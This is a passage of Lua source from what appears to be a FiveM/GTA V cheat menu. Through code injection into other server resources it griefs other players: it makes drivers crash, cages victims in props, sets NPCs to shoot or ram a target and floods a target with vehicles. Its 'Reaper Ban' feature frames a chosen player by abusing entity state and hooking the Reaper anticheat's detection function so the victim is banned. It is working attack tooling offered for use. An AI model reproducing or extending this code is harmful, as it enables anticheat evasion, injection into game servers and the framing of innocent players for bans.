                                            end
                                            Wait(100)
                                        end

                                        if _G.junkieSKAShooter and SRN(DoesEntityExist, _G.junkieSKAShooter) then
                                            SRN(DeletePed, _G.junkieSKAShooter)
                                            _G.junkieSKAShooter = nil
                                        end
                                        SRN(SetModelAsNoLongerNeeded, model)
                                    end)
                                else
                                    _G.junkieSilentKillAll = false
                                    if _G.junkieSKAShooter and SafeRunNative(DoesEntityExist, _G.junkieSKAShooter) then
                                        SafeRunNative(DeletePed, _G.junkieSKAShooter)
                                        _G.junkieSKAShooter = nil
                                    end
                                end
                            ]], tostring(checked)))
                            showNotify('Silent Kill All ' .. (checked and 'On' or 'Off'), checked and 'error' or 'info')
                        end
                    },
                    {
                        label = 'Crasher',
                        desc = 'Toggle: spams erratic temp tasks on all nearby vehicle drivers — causes them to crash.',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            JunkieHUDStates['Crasher'] = checked
                            injectCode('monitor', string.format([[
                                _G.junkieCrasherActive = %s
                                if _G.junkieCrasherActive and not _G.junkieCrasherThread then
                                    _G.junkieCrasherThread = true
                                    CreateThread(function()
                                        local SRN = SafeRunNative
                                        while _G.junkieCrasherActive do
                                            for _, veh in ipairs(SRN(GetGamePool, 'CVehicle') or {}) do
                                                local driver = SRN(GetPedInVehicleSeat, veh, -1)
                                                if driver and driver ~= 0 and driver ~= SRN(PlayerPedId) then
                                                    local netId = SRN(NetworkGetNetworkIdFromEntity, veh)
                                                    if netId then SRN(SetNetworkIdCanMigrate, netId, true) end
                                                    for action = 10, 29 do
                                                        SRN(TaskVehicleTempAction, driver, veh, action, 5000)
                                                    end
                                                end
                                            end
                                            Wait(1500)
                                        end
                                        _G.junkieCrasherThread = nil
                                    end)
                                else
                                    _G.junkieCrasherActive = false
                                    _G.junkieCrasherThread = nil
                                end
                            ]], tostring(checked)))
                            if Dui then
                                MachoExecuteDuiScript(Dui, string.format([[
                                    (function() {
                                        if (!window.crasherStatus) {
                                            var cs = document.createElement('style');
                                            cs.textContent = [==[
                                                .crasher-indicator {
                                                    position: fixed;
                                                    top: 2vh;
                                                    right: 2vh;
                                                    display: none;
                                                    align-items: center;
                                                    gap: 0.5vh;
                                                    background: rgba(220,38,38,0.15);
                                                    border: 1px solid rgba(220,38,38,0.45);
                                                    border-radius: 0.5vh;
                                                    padding: 0.4vh 0.9vh;
                                                    font-family: Geist,ui-sans-serif,system-ui,sans-serif;
                                                    font-size: 1vh;
                                                    font-weight: 700;
                                                    color: #f87171;
                                                    letter-spacing: 0.08em;
                                                    z-index: 99999;
                                                    pointer-events: none;
                                                    user-select: none;
                                                }
                                                .crasher-indicator.active { display: flex; }
                                                .crasher-dot {
                                                    width: 0.65vh; height: 0.65vh;
                                                    border-radius: 50%;
                                                    background: #ef4444;
                                                    flex-shrink: 0;
                                                    animation: cpulse 1.2s ease-in-out infinite;
                                                }
                                                @keyframes cpulse {
                                                    0%,100% { opacity:1; transform:scale(1); }
                                                    50%      { opacity:0.35; transform:scale(0.65); }
                                                }
                                            ]==];
                                            document.head.appendChild(cs);
                                            var el = document.createElement('div');
                                            el.className = 'crasher-indicator';
                                            el.innerHTML = '<span class="crasher-dot"></span><span>CRASHER ON</span>';
                                            document.documentElement.appendChild(el);
                                            window.crasherStatus = {
                                                show: function() { el.classList.add('active'); },
                                                hide: function() { el.classList.remove('active'); }
                                            };
                                        }
                                        window.crasherStatus.%s();
                                    })();
                                ]], checked and 'show' or 'hide'))
                            end
                            showNotify('Crasher ' .. (checked and 'On' or 'Off'), checked and 'error' or 'info')
                        end
                    },
                    {
                        label = 'Stick To Player',
                        desc = 'Teleports you to the selected player every tick.',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            local serverId = GetSelectedPlayer()
                            if checked and not serverId then
                                showNotify('Select a player first!', 'error')
                                return
                            end
                            injectCode('monitor', string.format([[
                                _G.junkieStickActive = %s
                                if _G.junkieStickActive and not _G.junkieStickThread then
                                    _G.junkieStickThread = true
                                    SafeRunNative(CreateThread, function()
                                        while _G.junkieStickActive do
                                            local player = GetPlayerFromServerId(%d)
                                            if player and player >= 0 then
                                                local targetPed = GetPlayerPed(player)
                                                if targetPed and targetPed > 0 and DoesEntityExist(targetPed) then
                                                    local selfPed = PlayerPedId()
                                                    local tc = GetEntityCoords(targetPed)
                                                    SafeRunNative(SetEntityCoordsNoOffset, selfPed, tc.x, tc.y, tc.z, false, false, true)
                                                end
                                            end
                                            Wait(0)
                                        end
                                        _G.junkieStickThread = nil
                                    end)
                                elseif not _G.junkieStickActive then
                                    _G.junkieStickThread = nil
                                end
                            ]], tostring(checked), serverId or 0))
                            showNotify('Stick To Player ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    {
                        label = 'Show Invisible Players',
                        desc = 'Forces visibility on all invisible players every tick.',
                        type = 'checkbox',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                _G.junkieShowInvisActive = %s
                                if _G.junkieShowInvisActive and not _G.junkieShowInvisThread then
                                    _G.junkieShowInvisThread = true
                                    SafeRunNative(CreateThread, function()
                                        while _G.junkieShowInvisActive do
                                            local selfId = PlayerId()
                                            for _, player in ipairs(GetActivePlayers()) do
                                                if player ~= selfId then
                                                    local ped = GetPlayerPed(player)
                                                    if DoesEntityExist(ped) and not IsEntityVisible(ped) then
                                                        SafeRunNative(SetEntityVisible, ped, true, false)
                                                    end
                                                end
                                            end
                                            Wait(0)
                                        end
                                        _G.junkieShowInvisThread = nil
                                    end)
                                elseif not _G.junkieShowInvisActive then
                                    _G.junkieShowInvisThread = nil
                                end
                            ]], tostring(checked)))
                            showNotify('Show Invisible Players ' .. (checked and 'On' or 'Off'), checked and 'success' or 'info')
                        end
                    },
                    -- ── REAPER BAN ────────────────────────────────────────────────────────────
                    {
                        type = 'button',
                        label = 'Reaper Ban',
                        desc = 'Trips Reaper AC on the selected player via entity state abuse.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end

                            -- phase 0: if ReaperV4 is injectable, trigger detection from inside it
                            if MachoResourceInjectable('ReaperV4') then
                                MachoInjectResourceRaw('ReaperV4', string.format([[
                                    CreateThread(function()
                                        Wait(0)
                                        local sid = %d
                                        -- try known detection event patterns
                                        local evts = {
                                            'ReaperV4:ac:detected', 'ReaperV4:detection',
                                            'ReaperV4:ban', 'reaper:ban', 'reaper:detected',
                                            'ac:detection', 'ReaperV4:ac:detect',
                                        }
                                        for _, e in ipairs(evts) do
                                            TriggerServerEvent(e, sid, 'SpeedHack', 99999)
                                        end
                                        -- try global ban/kick/detect functions
                                        for k, v in pairs(_G) do
                                            if type(v) == 'function' then
                                                local kl = k:lower()
                                                if kl == 'banplayer' or kl == 'kickplayer'
                                                    or kl:find('^reaper') or kl:find('ban') then
                                                    pcall(v, sid)
                                                end
                                            end
                                        end
                                        -- intercept detection for next scan cycle
                                        local _D = Detections or Detections_Self
                                        if _D and type(_D.detection) == 'function' then
                                            local orig = _D.detection
                                            local fired = false
                                            _D.detection = function(s, ...)
                                                if not fired and (s == nil or s == sid or s == GetPlayerFromServerId(sid)) then
                                                    fired = true
                                                    CreateThread(function()
                                                        Wait(4000)
                                                        _D.detection = orig
                                                    end)
                                                    return { key = 'SpeedHack', value = 99999, serverId = sid }
                                                end
                                                return orig(s, ...)
                                            end
                                        end
                                    end)
                                ]], selectedPlayer))
                            end

                            injectCode('monitor', string.format([[
                                local player = GetPlayerFromServerId(%d)
                                local targetPed = player > 0 and GetPlayerPed(player)
                                if not targetPed or not DoesEntityExist(targetPed) then return end

                                SafeRunNative(CreateThread, function()
                                    -- request control — don't gate on it, run phases regardless
                                    local ctrlTimeout = GetGameTimer() + 5000
                                    while not NetworkHasControlOfEntity(targetPed) and GetGameTimer() < ctrlTimeout do
                                        NetworkRequestControlOfEntity(targetPed)
                                        Wait(50)
                                    end

                                    local ox, oy, oz = table.unpack(table.pack(GetEntityCoords(targetPed)))

                                    -- state bag blitz — replicates server-side, no ownership needed
                                    local netId = NetworkGetNetworkIdFromEntity(targetPed)
                                    if netId and netId > 0 then
                                        local bag = Entity(targetPed).state
                                        for i = 1, 40 do
                                            bag:set('_jv', 99999.0 * i, true)
                                            bag:set('_jh', -9999 * i, true)
                                            Wait(15)
                                        end
                                    end

                                    -- phase 1: impossible velocity — trips speed AC
                                    for i = 1, 15 do
                                        SafeRunNative(SetEntityVelocity, targetPed,  99999.0,  99999.0,  99999.0)
                                        Wait(30)
                                        SafeRunNative(SetEntityVelocity, targetPed, -99999.0, -99999.0, -99999.0)
                                        Wait(30)
                                    end

                                    -- phase 2: rapid position jumps — trips teleport/position AC
                                    local ox2, oy2, oz2 = table.unpack(table.pack(GetEntityCoords(targetPed)))
                                    local jumps = {
                                        {2000.0, 1000.0, 800.0}, {-3000.0, 2500.0, 600.0},
                                        {1500.0, -2000.0, 1200.0}, {-1000.0, -3500.0, 900.0},
                                        {4000.0, 500.0, 1500.0}, {-2500.0, 3000.0, 700.0},
                                        {800.0, -4000.0, 1000.0}, {-3500.0, -1500.0, 1300.0},
                                    }
                                    for _, j in ipairs(jumps) do
                                        SafeRunNative(SetEntityCoords, targetPed,
                                            ox2 + j[1], oy2 + j[2], oz2 + j[3],
                                            false, false, false, true)
                                        Wait(25)
                                    end

                                    -- phase 3: health above server max — trips godmode/health AC
                                    for i = 1, 10 do
                                        SafeRunNative(SetPedMaxHealth, targetPed, 32767)
                                        SafeRunNative(SetEntityHealth, targetPed, 32767, 0)
                                        Wait(50)
                                    end

                                    -- phase 4: ownership flip + velocity spam — hits rate-of-change AC
                                    for i = 1, 20 do
                                        NetworkRequestControlOfEntity(targetPed)
                                        SafeRunNative(SetEntityVelocity, targetPed, 99999.0, 99999.0, 99999.0)
                                        Wait(20)
                                    end

                                    -- restore coords
                                    SafeRunNative(SetEntityCoords, targetPed,
                                        ox, oy, oz, false, false, false, true)
                                end)
                            ]], selectedPlayer))
                            showNotify('Reaper Ban sent', 'error')
                        end
                    },
                    { type = 'divider', label = 'Props & Cages' },
                    {
                        type = 'button',
                        label = 'Dog Cage Player',
                        desc = 'Locks target inside a dog cage prop.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end
                            injectCode('any', string.format([[
                                SafeRunNative(CreateThread, function()
                                    local player = GetPlayerFromServerId(%d)
                                    local targetPed = player > 0 and GetPlayerPed(player)
                                    if not targetPed or not SafeRunNative(DoesEntityExist, targetPed) then return end
                                    local targetCoords = SafeRunNative(GetEntityCoords, targetPed)
                                    local propHash = SafeRunNative(GetHashKey, 'prop_dog_cage_01')
                                    SafeRunNative(RequestModel, propHash)
                                    local timer = SafeRunNative(GetGameTimer)
                                    while not SafeRunNative(HasModelLoaded, propHash) do
                                        Wait(0)
                                        if (SafeRunNative(GetGameTimer) - timer) > 5000 then return end
                                    end
                                    local cage = SafeRunNative(CreateObject, propHash, targetCoords.x, targetCoords.y, targetCoords.z, true, true, true)
                                    SafeRunNative(SetModelAsNoLongerNeeded, propHash)
                                    if cage and cage > 0 then
                                        SafeRunNative(SetEntityAsMissionEntity, cage, true, true)
                                        SafeRunNative(FreezeEntityPosition, cage, true)
                                        SafeRunNative(SetEntityInvincible, cage, true)
                                        SafeRunNative(SetEntityCoordsNoOffset, targetPed, targetCoords.x, targetCoords.y, targetCoords.z + 0.1, true, true, true)
                                        SafeRunNative(SetEntityCollision, targetPed, false, false)
                                        Wait(100)
                                        SafeRunNative(SetEntityCollision, targetPed, true, true)
                                    end
                                end)
                            ]], selectedPlayer))
                            showNotify('Dog Caged', 'success')
                        end
                    },
                    {
                        type = 'button',
                        label = 'Barrel Player',
                        desc = 'Traps target inside a barrel prop.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end
                            injectCode('any', string.format([[
                                SafeRunNative(CreateThread, function()
                                    local player = GetPlayerFromServerId(%d)
                                    local targetPed = player > 0 and GetPlayerPed(player)
                                    if not targetPed or not SafeRunNative(DoesEntityExist, targetPed) then return end
                                    local targetCoords = SafeRunNative(GetEntityCoords, targetPed)
                                    local propHash = SafeRunNative(GetHashKey, 'prop_barrel_02a')
                                    SafeRunNative(RequestModel, propHash)
                                    local timer = SafeRunNative(GetGameTimer)
                                    while not SafeRunNative(HasModelLoaded, propHash) do
                                        Wait(0)
                                        if (SafeRunNative(GetGameTimer) - timer) > 5000 then return end
                                    end
                                    local obj = SafeRunNative(CreateObject, propHash, targetCoords.x, targetCoords.y, targetCoords.z, true, true, true)
                                    SafeRunNative(SetModelAsNoLongerNeeded, propHash)
                                    if obj and obj > 0 then
                                        SafeRunNative(SetEntityAsMissionEntity, obj, true, true)
                                        SafeRunNative(FreezeEntityPosition, obj, true)
                                        SafeRunNative(SetEntityInvincible, obj, true)
                                        SafeRunNative(SetEntityCoordsNoOffset, targetPed, targetCoords.x, targetCoords.y, targetCoords.z + 0.1, true, true, true)
                                        SafeRunNative(SetEntityCollision, targetPed, false, false)
                                        Wait(100)
                                        SafeRunNative(SetEntityCollision, targetPed, true, true)
                                    end
                                end)
                            ]], selectedPlayer))
                            showNotify('Barreled', 'success')
                        end
                    },
                    {
                        type = 'button',
                        label = 'Box Player',
                        desc = 'Traps target inside a cardboard box.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end
                            injectCode('any', string.format([[
                                SafeRunNative(CreateThread, function()
                                    local player = GetPlayerFromServerId(%d)
                                    local targetPed = player > 0 and GetPlayerPed(player)
                                    if not targetPed or not SafeRunNative(DoesEntityExist, targetPed) then return end
                                    local targetCoords = SafeRunNative(GetEntityCoords, targetPed)
                                    local propHash = SafeRunNative(GetHashKey, 'prop_box_cardboard_04a')
                                    SafeRunNative(RequestModel, propHash)
                                    local timer = SafeRunNative(GetGameTimer)
                                    while not SafeRunNative(HasModelLoaded, propHash) do
                                        Wait(0)
                                        if (SafeRunNative(GetGameTimer) - timer) > 5000 then return end
                                    end
                                    local obj = SafeRunNative(CreateObject, propHash, targetCoords.x, targetCoords.y, targetCoords.z, true, true, true)
                                    SafeRunNative(SetModelAsNoLongerNeeded, propHash)
                                    if obj and obj > 0 then
                                        SafeRunNative(SetEntityAsMissionEntity, obj, true, true)
                                        SafeRunNative(FreezeEntityPosition, obj, true)
                                        SafeRunNative(SetEntityInvincible, obj, true)
                                        SafeRunNative(SetEntityCoordsNoOffset, targetPed, targetCoords.x, targetCoords.y, targetCoords.z + 0.1, true, true, true)
                                        SafeRunNative(SetEntityCollision, targetPed, false, false)
                                        Wait(100)
                                        SafeRunNative(SetEntityCollision, targetPed, true, true)
                                    end
                                end)
                            ]], selectedPlayer))
                            showNotify('Boxed', 'success')
                        end
                    },
                    {
                        type = 'button',
                        label = 'Chair Player',
                        desc = 'Traps target inside a chair prop.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end
                            injectCode('any', string.format([[
                                SafeRunNative(CreateThread, function()
                                    local player = GetPlayerFromServerId(%d)
                                    local targetPed = player > 0 and GetPlayerPed(player)
                                    if not targetPed or not SafeRunNative(DoesEntityExist, targetPed) then return end
                                    local targetCoords = SafeRunNative(GetEntityCoords, targetPed)
                                    local propHash = SafeRunNative(GetHashKey, 'prop_chair_01a')
                                    SafeRunNative(RequestModel, propHash)
                                    local timer = SafeRunNative(GetGameTimer)
                                    while not SafeRunNative(HasModelLoaded, propHash) do
                                        Wait(0)
                                        if (SafeRunNative(GetGameTimer) - timer) > 5000 then return end
                                    end
                                    local obj = SafeRunNative(CreateObject, propHash, targetCoords.x, targetCoords.y, targetCoords.z, true, true, true)
                                    SafeRunNative(SetModelAsNoLongerNeeded, propHash)
                                    if obj and obj > 0 then
                                        SafeRunNative(SetEntityAsMissionEntity, obj, true, true)
                                        SafeRunNative(FreezeEntityPosition, obj, true)
                                        SafeRunNative(SetEntityInvincible, obj, true)
                                        SafeRunNative(SetEntityCoordsNoOffset, targetPed, targetCoords.x, targetCoords.y, targetCoords.z + 0.1, true, true, true)
                                        SafeRunNative(SetEntityCollision, targetPed, false, false)
                                        Wait(100)
                                        SafeRunNative(SetEntityCollision, targetPed, true, true)
                                    end
                                end)
                            ]], selectedPlayer))
                            showNotify('Chaired', 'success')
                        end
                    },
                    {
                        type = 'button',
                        label = 'Crate Player',
                        desc = 'Traps target inside a wooden crate prop.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end
                            injectCode('any', string.format([[
                                SafeRunNative(CreateThread, function()
                                    local player = GetPlayerFromServerId(%d)
                                    local targetPed = player > 0 and GetPlayerPed(player)
                                    if not targetPed or not SafeRunNative(DoesEntityExist, targetPed) then return end
                                    local targetCoords = SafeRunNative(GetEntityCoords, targetPed)
                                    local propHash = SafeRunNative(GetHashKey, 'prop_crate_02a')
                                    SafeRunNative(RequestModel, propHash)
                                    local timer = SafeRunNative(GetGameTimer)
                                    while not SafeRunNative(HasModelLoaded, propHash) do
                                        Wait(0)
                                        if (SafeRunNative(GetGameTimer) - timer) > 5000 then return end
                                    end
                                    local obj = SafeRunNative(CreateObject, propHash, targetCoords.x, targetCoords.y, targetCoords.z, true, true, true)
                                    SafeRunNative(SetModelAsNoLongerNeeded, propHash)
                                    if obj and obj > 0 then
                                        SafeRunNative(SetEntityAsMissionEntity, obj, true, true)
                                        SafeRunNative(FreezeEntityPosition, obj, true)
                                        SafeRunNative(SetEntityInvincible, obj, true)
                                        SafeRunNative(SetEntityCoordsNoOffset, targetPed, targetCoords.x, targetCoords.y, targetCoords.z + 0.1, true, true, true)
                                        SafeRunNative(SetEntityCollision, targetPed, false, false)
                                        Wait(100)
                                        SafeRunNative(SetEntityCollision, targetPed, true, true)
                                    end
                                end)
                            ]], selectedPlayer))
                            showNotify('Crated', 'success')
                        end
                    },
                    {
                        type = 'button',
                        label = 'Trap Player',
                        desc = 'Surrounds target with barrier props they cannot escape.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then
                                showNotify('You must select a player first!', 'error')
                                return
                            end
                            injectCode('any', string.format([[
                                SafeRunNative(CreateThread, function()
                                    local player = GetPlayerFromServerId(%d)
                                    local targetPed = player > 0 and GetPlayerPed(player)
                                    if not targetPed or not SafeRunNative(DoesEntityExist, targetPed) then return end
                                    local c = SafeRunNative(GetEntityCoords, targetPed)
                                    local propHash = SafeRunNative(GetHashKey, 'prop_mp_barrier_02b')
                                    SafeRunNative(RequestModel, propHash)
                                    local timer = SafeRunNative(GetGameTimer)
                                    while not SafeRunNative(HasModelLoaded, propHash) do
                                        Wait(0)
                                        if (SafeRunNative(GetGameTimer) - timer) > 5000 then return end
                                    end
                                    local offsets = {
                                        {2.0, 0.0, 0.0, 0.0}, {-2.0, 0.0, 0.0, 180.0},
                                        {0.0, 2.0, 0.0, 90.0}, {0.0, -2.0, 0.0, 270.0},
                                        {0.0, 0.0, 2.0, 0.0},
                                    }
                                    for _, off in ipairs(offsets) do
                                        local obj = SafeRunNative(CreateObject, propHash, c.x + off[1], c.y + off[2], c.z + off[3], true, true, true)
                                        if obj and obj > 0 then
                                            SafeRunNative(SetEntityAsMissionEntity, obj, true, true)
                                            SafeRunNative(SetEntityHeading, obj, off[4])
                                            SafeRunNative(FreezeEntityPosition, obj, true)
                                            SafeRunNative(SetEntityInvincible, obj, true)
                                        end
                                    end
                                    SafeRunNative(SetModelAsNoLongerNeeded, propHash)
                                end)
                            ]], selectedPlayer))
                            showNotify('Trapped', 'success')
                        end
                    },
                    { type = 'divider', label = 'Actions' },
                    {
                        type = 'button',
                        label = 'Juggernaut on Player',
                        desc = 'Applies ballistic outfit + 2000 HP + minigun to target.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then showNotify('Select a player first!', 'error') return end
                            injectCode('monitor', string.format([[
                                SafeRunNative(CreateThread, function()
                                    local player = GetPlayerFromServerId(%d)
                                    local ped = player > 0 and GetPlayerPed(player)
                                    if not ped or not SafeRunNative(DoesEntityExist, ped) then return end
                                    SafeRunNative(SetEntityMaxHealth, ped, 2000)
                                    SafeRunNative(SetPedMaxHealth, ped, 2000)
                                    SafeRunNative(SetEntityHealth, ped, 2000)
                                    SafeRunNative(SetPedMovementClipset, ped, "ANIM_GROUP_MOVE_BALLISTIC", 1.0)
                                    SafeRunNative(SetPedStrafeClipset, ped, "MOVE_STRAFE_BALLISTIC")
                                    SafeRunNative(SetPedComponentVariation, ped, 3, 2, 0, 0)
                                    SafeRunNative(SetPedComponentVariation, ped, 4, 2, 0, 0)
                                    SafeRunNative(SetPedComponentVariation, ped, 5, 1, 0, 0)
                                    SafeRunNative(SetPedComponentVariation, ped, 6, 2, 0, 0)
                                    SafeRunNative(SetPedComponentVariation, ped, 8, 2, 0, 0)
                                    SafeRunNative(GiveWeaponToPed, ped, GetHashKey("WEAPON_MINIGUN"), -1, true, false)
                                end)
                            ]], selectedPlayer))
                            showNotify('Juggernaut applied', 'success')
                        end
                    },
                    {
                        type = 'checkbox',
                        label = 'Boss Mode',
                        desc = 'Toggle target invincible + godmode flags.',
                        onConfirm = function(checked)
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then showNotify('Select a player first!', 'error') return end
                            injectCode('monitor', string.format([[
                                SafeRunNative(CreateThread, function()
                                    local player = GetPlayerFromServerId(%d)
                                    local ped = player > 0 and GetPlayerPed(player)
                                    if not ped or not SafeRunNative(DoesEntityExist, ped) then return end
                                    local state = %s
                                    SafeRunNative(SetEntityInvincible, ped, state)
                                    SafeRunNative(SetEntityProofs, ped, state, state, state, state, state, false, 0, false)
                                    SafeRunNative(SetPedCanRagdoll, ped, not state)
                                end)
                            ]], selectedPlayer, tostring(checked)))
                            showNotify('Boss Mode ' .. (checked and 'ON' or 'OFF'), 'success')
                        end
                    },
                    {
                        type = 'checkbox',
                        label = 'All Peds Shoot at Player',
                        desc = 'All nearby NPCs get a minigun and attack target.',
                        onConfirm = function(checked)
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then showNotify('Select a player first!', 'error') return end
                            injectCode('monitor', string.format([[
                                _G.junkiePedsShoot_%d = %s
                                if _G.junkiePedsShoot_%d and not _G.junkiePedsShootThread_%d then
                                    _G.junkiePedsShootThread_%d = true
                                    SafeRunNative(CreateThread, function()
                                        while _G.junkiePedsShoot_%d do
                                            local player = GetPlayerFromServerId(%d)
                                            local targetPed = player > 0 and GetPlayerPed(player)
                                            if targetPed and SafeRunNative(DoesEntityExist, targetPed) then
                                                for _, v in ipairs(SafeRunNative(GetGamePool, 'CPed')) do
                                                    if v ~= PlayerPedId() and v ~= targetPed then
                                                        if SafeRunNative(GetSelectedPedWeapon, v) ~= GetHashKey('WEAPON_MINIGUN') then
                                                            SafeRunNative(GiveWeaponToPed, v, GetHashKey('WEAPON_MINIGUN'), 250, false, true)
                                                        end
                                                        SafeRunNative(TaskCombatPed, v, targetPed, 0, 16)
                                                        SafeRunNative(SetPedFiringPattern, v, GetHashKey('FIRING_PATTERN_FULL_AUTO'))
                                                        SafeRunNative(SetPedKeepTask, v, true)
                                                    end
                                                end
                                            end
                                            Wait(0)
                                        end
                                        _G.junkiePedsShootThread_%d = nil
                                    end)
                                end
                            ]], selectedPlayer, tostring(checked),
                                selectedPlayer, selectedPlayer,
                                selectedPlayer, selectedPlayer,
                                selectedPlayer, selectedPlayer))
                            showNotify('Peds Shoot: ' .. (checked and 'ON' or 'OFF'), 'success')
                        end
                    },
                    {
                        type = 'checkbox',
                        label = 'All Peds Ram Player',
                        desc = 'All nearby vehicles aggressively ram target.',
                        onConfirm = function(checked)
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then showNotify('Select a player first!', 'error') return end
                            injectCode('monitor', string.format([[
                                _G.junkiePedsRam_%d = %s
                                if _G.junkiePedsRam_%d and not _G.junkiePedsRamThread_%d then
                                    _G.junkiePedsRamThread_%d = true
                                    SafeRunNative(CreateThread, function()
                                        while _G.junkiePedsRam_%d do
                                            local player = GetPlayerFromServerId(%d)
                                            local targetPed = player > 0 and GetPlayerPed(player)
                                            if targetPed and SafeRunNative(DoesEntityExist, targetPed) then
                                                local tCoords = SafeRunNative(GetEntityCoords, targetPed)
                                                for _, veh in ipairs(SafeRunNative(GetGamePool, 'CVehicle')) do
                                                    local driver = SafeRunNative(GetPedInVehicleSeat, veh, -1)
                                                    if driver and driver ~= 0 and driver ~= PlayerPedId() then
                                                        SafeRunNative(TaskVehicleChase, driver, targetPed)
                                                        SafeRunNative(SetTaskVehicleChaseIdealPursuitDistance, driver, 5.0)
                                                        SafeRunNative(SetDriveTaskDrivingStyle, driver, 787004)
                                                    end
                                                end
                                            end
                                            Wait(500)
                                        end
                                        _G.junkiePedsRamThread_%d = nil
                                    end)
                                end
                            ]], selectedPlayer, tostring(checked),
                                selectedPlayer, selectedPlayer,
                                selectedPlayer, selectedPlayer,
                                selectedPlayer, selectedPlayer))
                            showNotify('Peds Ram: ' .. (checked and 'ON' or 'OFF'), 'success')
                        end
                    },
                    {
                        type = 'button',
                        label = 'Drop Boat On Player',
                        desc = 'Spawns a boat above target and drops it.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then showNotify('Select a player first!', 'error') return end
                            injectCode('monitor', string.format([[
                                SafeRunNative(CreateThread, function()
                                    local player = GetPlayerFromServerId(%d)
                                    local targetPed = player > 0 and GetPlayerPed(player)
                                    if not targetPed or not SafeRunNative(DoesEntityExist, targetPed) then return end
                                    local pos = SafeRunNative(GetEntityCoords, targetPed)
                                    local modelHash = GetHashKey('yt_avisa')
                                    SafeRunNative(RequestModel, modelHash)
                                    local timer = SafeRunNative(GetGameTimer)
                                    while not SafeRunNative(HasModelLoaded, modelHash) do
                                        Wait(0)
                                        if (SafeRunNative(GetGameTimer) - timer) > 7000 then return end
                                    end
                                    local boat = SafeRunNative(CreateVehicle, modelHash, pos.x, pos.y, pos.z + 20.0, 0.0, false, false)
                                    SafeRunNative(SetEntityAsMissionEntity, boat, true, true)
                                    SafeRunNative(SetModelAsNoLongerNeeded, modelHash)
                                end)
                            ]], selectedPlayer))
                            showNotify('Boat dropped', 'success')
                        end
                    },
                    {
                        type = 'button',
                        label = '1M Vehicles on Player',
                        desc = 'Zombie99 — floods target with spawned vehicles.',
                        onConfirm = function()
                            local selectedPlayer = GetSelectedPlayer()
                            if not selectedPlayer then showNotify('Select a player first!', 'error') return end
                            injectCode('monitor', string.format([[
                                SafeRunNative(CreateThread, function()
                                    local player = GetPlayerFromServerId(%d)
                                    local targetPed = player > 0 and GetPlayerPed(player)
                                    if not targetPed or not SafeRunNative(DoesEntityExist, targetPed) then return end
                                    local models = { 'zombie3', 'zombieb', 'issi2', 'blista', 'adder', 'zentorno', 't20', 'fmj', 'vacca' }
                                    local pos = SafeRunNative(GetEntityCoords, targetPed)
                                    for i = 1, 30 do
                                        local mdl = GetHashKey(models[(i % #models) + 1])
                                        SafeRunNative(RequestModel, mdl)
                                        local t = SafeRunNative(GetGameTimer)
                                        while not SafeRunNative(HasModelLoaded, mdl) do
                                            Wait(0)
                                            if (SafeRunNative(GetGameTimer) - t) > 2000 then break end
                                        end
                                        local offset = i * 1.5
                                        SafeRunNative(CreateVehicle, mdl, pos.x + offset, pos.y + offset, pos.z + 2.0, 0.0, false, false)
                                        SafeRunNative(SetModelAsNoLongerNeeded, mdl)
                                        Wait(0)
                                    end
                                end)
                            ]], selectedPlayer))
                            showNotify('1M Vehicles incoming', 'success')
                        end
                    },
                    {
                        type = 'checkbox',
                        label = 'Remote Ped',
                        desc = 'Spawns an NPC puppet you control with WASD/arrow keys. Disabling deletes it.',
                        onConfirm = function(checked)
                            injectCode('monitor', string.format([[
                                _G.junkieRemotePed = %s
                                if _G.junkieRemotePed then
                                    SafeRunNative(CreateThread, function()
                                        local selfPed = PlayerPedId()
                                        local pos = SafeRunNative(GetEntityCoords, selfPed)
                                        local modelHash = GetHashKey('a_m_y_skater_01')
                                        SafeRunNative(RequestModel, modelHash)
                                        local timer = SafeRunNative(GetGameTimer)
                                        while not SafeRunNative(HasModelLoaded, modelHash) do
                                            Wait(0)
                                            if (SafeRunNative(GetGameTimer) - timer) > 5000 then return end
                                        end
                                        local puppet = SafeRunNative(CreatePed, 4, modelHash, pos.x + 2.0, pos.y, pos.z, 0.0, false, false)
                                        SafeRunNative(SetEntityAsMissionEntity, puppet, true, true)
                                        SafeRunNative(SetModelAsNoLongerNeeded, modelHash)
                                        local cam = SafeRunNative(CreateCamWithParams, 'DEFAULT_SCRIPTED_CAMERA',
                                            pos.x, pos.y, pos.z + 5.0, -20.0, 0.0, 0.0, 70.0, false, 0)
                                        SafeRunNative(SetCamActive, cam, true)
                                        SafeRunNative(RenderScriptCams, true, false, 0, true, false)
                                        _G.junkiePuppet = puppet
                                        _G.junkiePuppetCam = cam
                                        local speed = 3.0
                                        while _G.junkieRemotePed do
                                            if not SafeRunNative(DoesEntityExist, puppet) then break end
                                            local pPos = SafeRunNative(GetEntityCoords, puppet)
                                            local heading = SafeRunNative(GetEntityHeading, puppet)
                                            -- camera follow
                                            local camOff = vector3(
                                                pPos.x - math.sin(math.rad(heading)) * 6.0,
                                                pPos.y + math.cos(math.rad(heading)) * 6.0,
                                                pPos.z + 4.0)
                                            SafeRunNative(SetCamCoord, cam, camOff.x, camOff.y, camOff.z)
